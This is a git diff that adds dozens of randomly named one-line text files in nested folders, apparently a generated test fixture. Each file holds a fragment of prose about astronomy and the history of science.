diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/adhgiyunmpyhhlnpxnjugtij.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/adhgiyunmpyhhlnpxnjugtij.txt
new file mode 100644
index 0000000..fa40906
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/adhgiyunmpyhhlnpxnjugtij.txt
@@ -0,0 +1 @@
+fabled canals, turned out to be bankrupt, his depiction of the planet had at least this virtue:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/aqvhwyadcyrsfwfdmubfan.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/aqvhwyadcyrsfwfdmubfan.txt
new file mode 100644
index 0000000..156474f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/aqvhwyadcyrsfwfdmubfan.txt
@@ -0,0 +1 @@
+forests and grasslands we can now change the global temperature by another degree in only
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/ddcpzlkelzmqrj.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/ddcpzlkelzmqrj.txt
new file mode 100644
index 0000000..2b1017b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/ddcpzlkelzmqrj.txt
@@ -0,0 +1 @@
+projector. He also invented something called the ‘gunpowder engine,’ which influenced the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/fghsgnzze.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/fghsgnzze.txt
new file mode 100644
index 0000000..77cd1fa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/fghsgnzze.txt
@@ -0,0 +1 @@
+insisted that planets moved in circular paths at constant speeds. They seemed to believe that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_btvcrqbrkc.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_btvcrqbrkc.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_btvcrqbrkc.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_dnthjztqjqstlkfuwfxodiy.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_dnthjztqjqstlkfuwfxodiy.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_dnthjztqjqstlkfuwfxodiy.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_ipuhnxumjdtvdfyxdw.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_ipuhnxumjdtvdfyxdw.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_ipuhnxumjdtvdfyxdw.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_jdbogyeogxytc.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_jdbogyeogxytc.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_jdbogyeogxytc.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_kabxksvuohcyhp.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_kabxksvuohcyhp.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_kabxksvuohcyhp.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_mtxtogutpnrlhbooc.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_mtxtogutpnrlhbooc.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_mtxtogutpnrlhbooc.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_nasxxklrvjtlcbnoithlxhbz.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_nasxxklrvjtlcbnoithlxhbz.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_nasxxklrvjtlcbnoithlxhbz.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_nvftzpdvoxmooagm.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_nvftzpdvoxmooagm.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_nvftzpdvoxmooagm.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_rcouepksm.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_rcouepksm.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_rcouepksm.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_rrfrujpdrcshsqic.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_rrfrujpdrcshsqic.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_rrfrujpdrcshsqic.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/file_tbcjwdmykqj.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/file_tbcjwdmykqj.txt
new file mode 100644
index 0000000..ced8004
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/file_tbcjwdmykqj.txt
@@ -0,0 +1 @@
+* Light is a wave motion; its frequency is the number of wave crests, say, entering a detection
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/joaumrjbehjwkegl.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/joaumrjbehjwkegl.txt
new file mode 100644
index 0000000..58c9de6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/joaumrjbehjwkegl.txt
@@ -0,0 +1 @@
+surface. Likewise, we did not want to land in places that were too soft. If the spacecraft’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/jpibdornmnuzsaautjtudtom.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/jpibdornmnuzsaautjtudtom.txt
new file mode 100644
index 0000000..15128c4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/jpibdornmnuzsaautjtudtom.txt
@@ -0,0 +1 @@
+feeble, its atmosphere expanding into space in a kind of stellar gale. When the Sun, ruddy
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/lnjqncfn.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/lnjqncfn.txt
new file mode 100644
index 0000000..f20f32c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/lnjqncfn.txt
@@ -0,0 +1 @@
+probably within our technological capability.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/mlztxakhaoe.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/mlztxakhaoe.txt
new file mode 100644
index 0000000..a9d13b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/mlztxakhaoe.txt
@@ -0,0 +1 @@
+relatively trivial adjustments. The farther in the past such an event is, the more powerful
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/msdddofcf.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/msdddofcf.txt
new file mode 100644
index 0000000..06129b9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/msdddofcf.txt
@@ -0,0 +1 @@
+otherwise), it might pass effortlessly through the Earth like a falling stone through air,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/nbapmolwylrs.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/nbapmolwylrs.txt
new file mode 100644
index 0000000..d36ba12
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/nbapmolwylrs.txt
@@ -0,0 +1 @@
+in Prague.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/odsqvpvksreaumizhja.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/odsqvpvksreaumizhja.txt
new file mode 100644
index 0000000..fedaa20
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/odsqvpvksreaumizhja.txt
@@ -0,0 +1 @@
+there are those who think that quasars are explosive events likely to happen only in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/ozmgoibvnieekewmr.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/ozmgoibvnieekewmr.txt
new file mode 100644
index 0000000..81f705f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/ozmgoibvnieekewmr.txt
@@ -0,0 +1 @@
+mourned for their lost companions two strange objects entered the Bay. No one
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/rqvahnkyfrmmodqabikxsps.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/rqvahnkyfrmmodqabikxsps.txt
new file mode 100644
index 0000000..8b87df4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/rqvahnkyfrmmodqabikxsps.txt
@@ -0,0 +1 @@
+Robert Goddard in much detail, because there is a chapter in Broca’s Brain devoted to him.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/uhpaqkxpywujmqay.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/uhpaqkxpywujmqay.txt
new file mode 100644
index 0000000..75dd60e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/uhpaqkxpywujmqay.txt
@@ -0,0 +1 @@
+- Christopher Wren, Inauguration Speech, Gresham College, 1657
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/unpndbafasscd.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/unpndbafasscd.txt
new file mode 100644
index 0000000..30cf3d6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/unpndbafasscd.txt
@@ -0,0 +1 @@
+was not covered with shifting, drifting dust, we would have at least a fair chance of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bhqrhqawuy/zdgirtbbelf.txt b/big_zip/big-zip-files/folder_bhqrhqawuy/zdgirtbbelf.txt
new file mode 100644
index 0000000..e3d1f35
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bhqrhqawuy/zdgirtbbelf.txt
@@ -0,0 +1 @@
+unconventional views began to erode and then to shatter. People came to be punished for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_awpvukbgujupltgwpvrvodti.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_awpvukbgujupltgwpvrvodti.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_awpvukbgujupltgwpvrvodti.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_colvuthsoymupdrohky.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_colvuthsoymupdrohky.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_colvuthsoymupdrohky.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_dehugocln.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_dehugocln.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_dehugocln.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_efywyydfpvcxgwysquqakmn.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_efywyydfpvcxgwysquqakmn.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_efywyydfpvcxgwysquqakmn.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_fkdrssxenomndha.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_fkdrssxenomndha.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_fkdrssxenomndha.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_fzbakcpvgrkky.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_fzbakcpvgrkky.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_fzbakcpvgrkky.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_hritzldkzsnppxbmfttkrx.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_hritzldkzsnppxbmfttkrx.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_hritzldkzsnppxbmfttkrx.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_izxhzmficw.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_izxhzmficw.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_izxhzmficw.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_kclybwspxwzckvzjxxcuk.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_kclybwspxwzckvzjxxcuk.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_kclybwspxwzckvzjxxcuk.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_lphuzfskuuejtsdbolg.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_lphuzfskuuejtsdbolg.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_lphuzfskuuejtsdbolg.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_nvddforotcucn.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_nvddforotcucn.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_nvddforotcucn.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_qeubijvju.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_qeubijvju.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_qeubijvju.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_sbqjnhfy.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_sbqjnhfy.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_sbqjnhfy.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_spgabnemyrrklfwv.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_spgabnemyrrklfwv.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_spgabnemyrrklfwv.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_uxmgrvtgata.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_uxmgrvtgata.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_uxmgrvtgata.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_vxqrnqnvuonltnflu.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_vxqrnqnvuonltnflu.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_vxqrnqnvuonltnflu.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_ywtjsxodjvllrxfuclhza.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_ywtjsxodjvllrxfuclhza.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_ywtjsxodjvllrxfuclhza.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_zacgqtgmvioksnjlruuxan.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_zacgqtgmvioksnjlruuxan.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_zacgqtgmvioksnjlruuxan.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_zgcpahptfl.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_zgcpahptfl.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_zgcpahptfl.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_zggoajpol.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_zggoajpol.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_zggoajpol.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/file_zzfkqsknheii.txt b/big_zip/big-zip-files/folder_bkowexixjw/file_zzfkqsknheii.txt
new file mode 100644
index 0000000..945cedc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/file_zzfkqsknheii.txt
@@ -0,0 +1 @@
+explosions, the deaths of stars, near the center of the bubble. At the periphery, interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_ckegrrowslnqalzgmtiy.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_ckegrrowslnqalzgmtiy.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_ckegrrowslnqalzgmtiy.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_cmpjolqbqzyzj.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_cmpjolqbqzyzj.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_cmpjolqbqzyzj.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_dbfjnwadnrzkibfnjryunxu.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_dbfjnwadnrzkibfnjryunxu.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_dbfjnwadnrzkibfnjryunxu.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_dkjuqybnswzo.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_dkjuqybnswzo.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_dkjuqybnswzo.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_eyvgwfasnbdhc.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_eyvgwfasnbdhc.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_eyvgwfasnbdhc.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_gwheniyohzcutteguou.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_gwheniyohzcutteguou.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_gwheniyohzcutteguou.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_hntcnavirwvbgrkywmvynamx.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_hntcnavirwvbgrkywmvynamx.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_hntcnavirwvbgrkywmvynamx.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_ndwhyxrg.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_ndwhyxrg.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_ndwhyxrg.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_owjgljviyvkofoft.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_owjgljviyvkofoft.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_owjgljviyvkofoft.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_rgytnccdwiijjqjy.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_rgytnccdwiijjqjy.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_rgytnccdwiijjqjy.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_thplyzgjlpotlmyde.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_thplyzgjlpotlmyde.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_thplyzgjlpotlmyde.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_vnudkwtucrmzteop.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_vnudkwtucrmzteop.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_vnudkwtucrmzteop.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_xxjnpnqkwht.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_xxjnpnqkwht.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_xxjnpnqkwht.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_ycxcbuyih.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_ycxcbuyih.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_ycxcbuyih.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_zeetdkhekzswomexjaw.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_zeetdkhekzswomexjaw.txt
new file mode 100644
index 0000000..d9103a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/file_zeetdkhekzswomexjaw.txt
@@ -0,0 +1 @@
+three times farther from the Sun than Pluto is, the pressure of the interstellar protons and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_eiakatmgqjgznunjregv.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_eiakatmgqjgznunjregv.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_eiakatmgqjgznunjregv.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_jlolwryxxxn.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_jlolwryxxxn.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_jlolwryxxxn.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
